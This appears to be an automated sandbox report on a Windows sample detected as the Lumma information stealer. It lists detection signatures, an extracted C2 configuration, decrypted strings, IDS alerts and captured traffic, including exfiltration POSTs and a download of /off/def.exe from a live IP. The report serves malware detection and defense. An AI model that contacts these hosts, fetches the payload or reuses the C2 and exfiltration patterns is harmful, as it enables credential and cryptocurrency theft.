Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1543871
MD5:	f8cb2d8c03288d1ad24ea75554cc1841
SHA1:	8d0fcde8d19fb41addab5a4efd8504c671c17f52
SHA256:	6ecffa523dd0f47994bde41a4b27a1074a5b99b3028bd6b7fdc7a773b5fd610d
Tags:	exeuser-Bitsight
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected LummaC Stealer

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains long sleeps (>= 3 min)

Detected potential crypto function

Downloads executable code via HTTP

Drops PE files

Enables debug privileges

Entry point lies outside standard sections

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

file.exe (PID: 6776 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F8CB2D8C03288D1AD24EA75554CC1841)

HTUSFB9YFV610YTCBWQ47HFA41LN0.exe (PID: 3224 cmdline: "C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe" MD5: 014B179EC5B40CDC9662F45797F848C2)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["presticitpo.store", "navygenerayk.store", "necklacedmny.store", "thumbystriw.store", "crisiwarny.store", "fadehairucw.store", "scriptyprefej.store", "founpiuer.store"], "Build id": "4SD0y4--legendaryy"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: file.exe PID: 6776	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: file.exe PID: 6776	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: file.exe PID: 6776	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Suricata Signatures

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T15:28:06.372429+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49710	188.114.96.3	443	TCP
2024-10-28T15:28:07.508802+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49711	188.114.96.3	443	TCP
2024-10-28T15:28:18.077689+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49758	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T15:28:06.372429+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49710	188.114.96.3	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T15:28:07.508802+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49711	188.114.96.3	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T15:28:19.202676+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49764	185.215.113.16	80	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-28T15:28:10.227433+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49714	188.114.96.3	443	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Found malware configuration

Source: file.exe.6776.0.memstrmin

Malware Configuration Extractor: LummaC {"C2 url": ["presticitpo.store", "navygenerayk.store", "necklacedmny.store", "thumbystriw.store", "crisiwarny.store", "fadehairucw.store", "scriptyprefej.store", "founpiuer.store"], "Build id": "4SD0y4--legendaryy"}

Multi AV Scanner detection for submitted file

Source: file.exe

ReversingLabs: Detection: 39%

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for dropped file

Source: C:\Users\user\AppData\Local\Temp\HTUSFB9YFV610YTCBWQ47HFA41LN0.exe

Joe Sandbox ML: detected

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: scriptyprefej.store
Source: 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: navygenerayk.store
Source: 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: founpiuer.store
Source: 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: necklacedmny.store
Source: 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: thumbystriw.store
Source: 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: fadehairucw.store
Source: 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: crisiwarny.store
Source: 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: presticitpo.store
Source: 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Screen Resoluton:
Source: 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: Workgroup: -
Source: 00000000.00000002.2363956011.00000000002D1000.00000040.00000001.01000000.00000003.sdmp	String decryptor: 4SD0y4--legendaryy

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49714 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49725 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49731 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49741 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 188.114.96.3:443 -> 192.168.2.6:49758 version: TLS 1.2

Source:

Binary string: E:\defOff\defOff\defOff\obj\Release\defOff.pdb source: HTUSFB9YFV610YTCBWQ47HFA41LN0.exe, 00000005.00000003.2388842392.0000000004FE0000.00000004.00001000.00020000.00000000.sdmp, HTUSFB9YFV610YTCBWQ47HFA41LN0.exe, 00000005.00000002.2521867290.0000000000D32000.00000040.00000001.01000000.00000006.sdmp

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 2049812 - Severity 1 - ET MALWARE Lumma Stealer Related Activity M2 : 192.168.2.6:49711 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49711 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2049836 - Severity 1 - ET MALWARE Lumma Stealer Related Activity : 192.168.2.6:49710 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49710 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2054653 - Severity 1 - ET MALWARE Lumma Stealer CnC Host Checkin : 192.168.2.6:49758 -> 188.114.96.3:443
Source: Network traffic	Suricata IDS: 2048094 - Severity 1 - ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration : 192.168.2.6:49714 -> 188.114.96.3:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: presticitpo.store
Source: Malware configuration extractor	URLs: navygenerayk.store
Source: Malware configuration extractor	URLs: necklacedmny.store
Source: Malware configuration extractor	URLs: thumbystriw.store
Source: Malware configuration extractor	URLs: crisiwarny.store
Source: Malware configuration extractor	URLs: fadehairucw.store
Source: Malware configuration extractor	URLs: scriptyprefej.store
Source: Malware configuration extractor	URLs: founpiuer.store

Source: global traffic

HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Mon, 28 Oct 2024 14:28:18 GMTContent-Type: application/octet-streamContent-Length: 2801664Last-Modified: Mon, 28 Oct 2024 13:39:46 GMTConnection: keep-aliveETag: "671f9422-2ac000"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 20 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 60 2b 00 00 04 00 00 70 70 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 71 75 61 69 6c 73 67 79 00 60 2a 00 00 a0 00 00 00 60 2a 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 79 72 62 71 65 6d 7a 6f 00 20 00 00 00 00 2b 00 00 04 00 00 00 9a 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 20 2b 00 00 22 00 00 00 9e 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00

Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 188.114.96.3 188.114.96.3
Source: Joe Sandbox View	IP Address: 185.215.113.16 185.215.113.16

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: Network traffic

Suricata IDS: 2019714 - Severity 2 - ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile : 192.168.2.6:49764 -> 185.215.113.16:80

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 52Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12864Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15110Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 19968Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1228Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 587615Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 87Host: necklacedmny.store
Source: global traffic	HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.16

Source: global traffic

HTTP traffic detected: GET /off/def.exe HTTP/1.1Connection: Keep-AliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Host: 185.215.113.16

Source: global traffic	DNS traffic detected: DNS query: presticitpo.store
Source: global traffic	DNS traffic detected: DNS query: crisiwarny.store
Source: global traffic	DNS traffic detected: DNS query: fadehairucw.store
Source: global traffic	DNS traffic detected: DNS query: thumbystriw.store
Source: global traffic	DNS traffic detected: DNS query: necklacedmny.store

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: necklacedmny.store

Source: file.exe, 00000000.00000002.2366391425.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/
Source: file.exe, 00000000.00000003.2359655278.0000000000C1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2366391425.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16//
Source: file.exe, 00000000.00000003.2359655278.0000000000C1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2366391425.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/Pg
Source: file.exe, 00000000.00000003.2359655278.0000000000C1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2366391425.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/fg
Source: file.exe, 00000000.00000002.2365808568.000000000096A000.00000004.00000010.00020000.00000000.sdmp, file.exe, 00000000.00000003.2359655278.0000000000C1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2366391425.0000000000C21000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2365962583.0000000000B9F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exe
Source: file.exe, 00000000.00000003.2359748216.0000000000C1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeX
Source: file.exe, 00000000.00000003.2359655278.0000000000C1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2366391425.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exee
Source: file.exe, 00000000.00000003.2359655278.0000000000C1F000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2366391425.0000000000C21000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.16/off/def.exeik1
Source: file.exe, 00000000.00000003.2222554326.000000000560D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0
Source: file.exe, 00000000.00000003.2222554326.000000000560D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://cacerts.digicert.com/DigiCertGlobalRootCA.crt0B
Source: file.exe, 00000000.00000003.2222554326.000000000560D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl.rootca1.amazontrust.com/rootca1.crl0
Source: file.exe, 00000000.00000003.2222554326.000000000560D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl07
Source: file.exe, 00000000.00000003.2222554326.000000000560D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl3.digicert.com/DigiCertGlobalRootCA.crl0=
Source: file.exe, 00000000.00000003.2222554326.000000000560D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crl4.digicert.com/DigiCertGlobalRootCA.crl00
Source: file.exe, 00000000.00000003.2222554326.000000000560D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://crt.rootca1.amazontrust.com/rootca1.cer0?
Source: file.exe, 00000000.00000003.2222554326.000000000560D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.digicert.com0
Source: file.exe, 00000000.00000003.2222554326.000000000560D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://ocsp.rootca1.amazontrust.com0:
Source: file.exe, 00000000.00000003.2222554326.000000000560D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.c.lencr.org/0
Source: file.exe, 00000000.00000003.2222554326.000000000560D000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://x1.i.lencr.org/0
Source: file.exe, 00000000.00000003.2196496632.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196383708.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196338518.000000000544C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: file.exe, 00000000.00000003.2223544542.0000000000C2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bridge.sfo1.admarketplace.net/ctp?version=16.0.0&key=1696484494400800000.2&ci=1696484494189.
Source: file.exe, 00000000.00000003.2196496632.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196383708.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196338518.000000000544C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: file.exe, 00000000.00000003.2196496632.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196383708.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196338518.000000000544C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: file.exe, 00000000.00000003.2196496632.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196383708.000000000544A000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2196338518.000000000544C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: file.exe, 00000000.00000003.2223544542.0000000000C2A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://contile-images.services.mozilla.com/T23eBL4EHswiSaF6kya2gYsRHvdfADK-NYjs1mVRNGE.3351.jpg
